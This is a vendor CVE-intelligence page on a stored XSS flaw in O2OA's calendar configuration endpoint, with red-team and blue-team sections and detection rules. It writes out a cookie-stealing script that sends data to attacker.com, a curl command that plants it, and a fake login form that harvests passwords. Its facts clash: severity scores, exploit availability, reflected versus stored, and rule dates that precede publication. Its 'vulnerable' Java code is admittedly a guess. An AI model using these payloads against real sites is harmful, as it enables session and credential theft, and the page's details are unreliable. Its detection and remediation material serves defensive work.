☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
O2oa logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9646

CVE-2025-9646 Cross-Site Scripting in O2oa
📅 PUBLISHED: 2025-08-29 13:02 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9646 is a stored cross-site scripting (XSS) vulnerability in O2OA, an open-source enterprise collaboration platform. The flaw resides in the /x_organization_assemble_personal/jaxrs/definition/calendarConfig endpoint, where the toMonthViewName argument is not properly sanitized before being reflected back to the user. An attacker can craft a malicious request that, when processed by an authenticated user's browser, executes arbitrary JavaScript in the context of the O2OA application. The CVSS score is 3.5 (Low), but the public availability of an exploit increases the risk. The vendor has acknowledged the issue and stated it will be fixed in the next version.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

O2OA is a Java-based application distributed as a WAR file or Docker image. The vulnerability is in the application's own code, not in a third-party package. However, organizations using O2OA should verify they are not running a version with this flaw and should monitor for updates from the vendor.

CVSS Breakdown & Threat Level

  • CVSS Score: 3.5 (Low)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector: Network (AV:N) – The attack can be launched remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
  • User Interaction: Required (UI:R) – The victim must click on a crafted link or visit a malicious page.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: None (C:N) – No data is directly exposed.
  • Integrity Impact: Low (I:L) – The attacker can modify content in the victim's browser.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Low. The attack requires user interaction and only allows for limited integrity impact. However, the public exploit code lowers the barrier for attackers.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the calendar configuration feature of O2OA. The endpoint /x_organization_assemble_personal/jaxrs/definition/calendarConfig accepts a JSON payload containing a toMonthViewName parameter. This parameter is intended to allow users to customize the name of the month view in their calendar. However, the application does not sanitize or encode this input before storing it and later rendering it in the user's browser.

Attack Flow:

  1. An attacker sends a POST request to the vulnerable endpoint with a malicious payload in the toMonthViewName field, e.g., <script>alert('XSS')</script>.
  2. The server stores this payload in the database without sanitization.
  3. When an authenticated user views their calendar settings, the malicious script is executed in their browser.
  4. The attacker can then perform actions such as session hijacking, defacement, or phishing.

The vulnerability is in the Java backend, likely in a REST controller that handles the calendar configuration. The fix would involve proper output encoding or input validation.

Vulnerable vs. Patched Code

Vulnerable Code (O2OA <= 10.0-410):

// Vulnerable endpoint - no sanitization
@POST
@Path("calendarConfig")
public Response setCalendarConfig(CalendarConfig config) {
    // Directly stores the user input
    userConfig.setToMonthViewName(config.getToMonthViewName());
    // ... save to database
    return Response.ok().build();
}

Patched Code (Expected in next version):

// Patched endpoint - with output encoding
@POST
@Path("calendarConfig")
public Response setCalendarConfig(CalendarConfig config) {
    // Sanitize input using OWASP Java Encoder
    String safeName = Encode.forHtml(config.getToMonthViewName());
    userConfig.setToMonthViewName(safeName);
    // ... save to database
    return Response.ok().build();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • O2OA instance (version <= 10.0-410)
  • A valid user account (or ability to trick an authenticated user)

Exploit Steps:

  1. Craft a malicious payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  2. Send a POST request to the vulnerable endpoint:
    curl -X POST "http://target.com/x_organization_assemble_personal/jaxrs/definition/calendarConfig" \
    -H "Content-Type: application/json" \
    -d '{"toMonthViewName": "<script>fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)</script>"}'
    
  3. The payload is stored. When an admin or user views the calendar config, the script executes and exfiltrates cookies.

Alternative Payload (Phishing):

<script>
document.body.innerHTML = '<form action="https://attacker.com/login" method="POST"><input type="text" name="username"><input type="password" name="password"><input type="submit"></form>';
</script>

Blue Team

Detection:

  • Monitor for POST requests to /x_organization_assemble_personal/jaxrs/definition/calendarConfig with suspicious toMonthViewName values.
  • Look for <script> tags or event handlers in the request body.

Hunting:

  • Search logs for the endpoint and inspect the toMonthViewName parameter for HTML/JavaScript content.
  • Use the YARA rule below to scan stored data.

Prevention:

  • Apply input validation and output encoding.
  • Use a Web Application Firewall (WAF) to block XSS patterns.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /x_organization_assemble_personal/jaxrs/definition/calendarConfig with toMonthViewName containing <script> or onerror= etc.
    • Outbound connections to attacker-controlled domains from the O2OA server.
  • File System:
    • Modified calendar configuration entries in the database containing JavaScript.
  • Logs:
    • Application logs showing unusual toMonthViewName values.

Detection Engineering

YARA Rule

rule CVE_2025_9646_O2OA_XSS {
    meta:
        description = "Detects stored XSS payload in O2OA calendar config"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9646"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: O2OA Stored XSS via Calendar Config
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-9646 by sending XSS payloads to the calendar config endpoint.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: '/x_organization_assemble_personal/jaxrs/definition/calendarConfig'
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in calendar names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9646 O2OA Stored XSS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/x_organization_assemble_personal/jaxrs/definition/calendarConfig"; http.request_body; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Apply the vendor's patch as soon as it is released. Monitor the O2OA GitHub repository for updates.
  2. Workaround: If patching is not possible, restrict access to the vulnerable endpoint using a WAF or reverse proxy.
  3. Input Validation: Implement server-side validation to reject any input containing HTML tags or JavaScript.
  4. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.

Long-term:

  • Conduct a security audit of the O2OA codebase for similar issues.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Use a Web Application Firewall (WAF) with XSS detection rules.

Valters IT
Securing your digital frontier.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9646/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.